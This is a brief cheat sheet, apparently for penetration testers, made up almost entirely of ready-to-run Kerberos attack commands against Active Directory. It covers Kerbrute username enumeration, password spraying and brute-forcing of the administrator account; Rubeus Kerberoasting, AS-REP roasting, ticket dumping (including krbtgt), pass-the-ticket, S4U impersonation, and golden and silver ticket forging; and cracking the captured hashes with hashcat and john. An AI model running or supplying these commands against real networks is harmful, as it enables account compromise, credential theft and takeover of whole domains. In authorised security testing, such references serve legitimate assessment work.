Kerbrute for username enumeration and password spraying; Rubeus for full Kerberos attack toolkit.
kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt
kerbrute passwordspray --dc 10.10.10.1 -d domain.local users.txt "Password1"
kerbrute bruteuser --dc 10.10.10.1 -d domain.local rockyou.txt administrator
kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt -o valid_users.txt
kerbrute passwordspray --dc 10.10.10.1 -d domain.local users.txt "Summer2024!" --delay 1000
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
Rubeus.exe asreproast /outfile:asrep.txt
Rubeus.exe asreproast /user:nopreauth_user /format:hashcat /outfile:asrep.txt
Rubeus.exe dump /luid:0x3e4
Rubeus.exe dump /service:krbtgt /nowrap
Rubeus.exe ptt /ticket:ticket.kirbi
Rubeus.exe ptt /ticket:base64encodedticket
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/server.domain.local
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:domain.local /sid:S-1-5-21-xxx /user:administrator
Rubeus.exe silver /rc4:SERVICE_HASH /domain:domain.local /sid:S-1-5-21-xxx /user:administrator /service:cifs/server
Rubeus.exe harvest /interval:30
hashcat -m 13100 kerb_hashes.txt rockyou.txt
hashcat -m 19700 kerb_hashes.txt rockyou.txt
hashcat -m 18200 asrep_hashes.txt rockyou.txt
john kerb_hashes.txt --wordlist=rockyou.txt --format=krb5tgs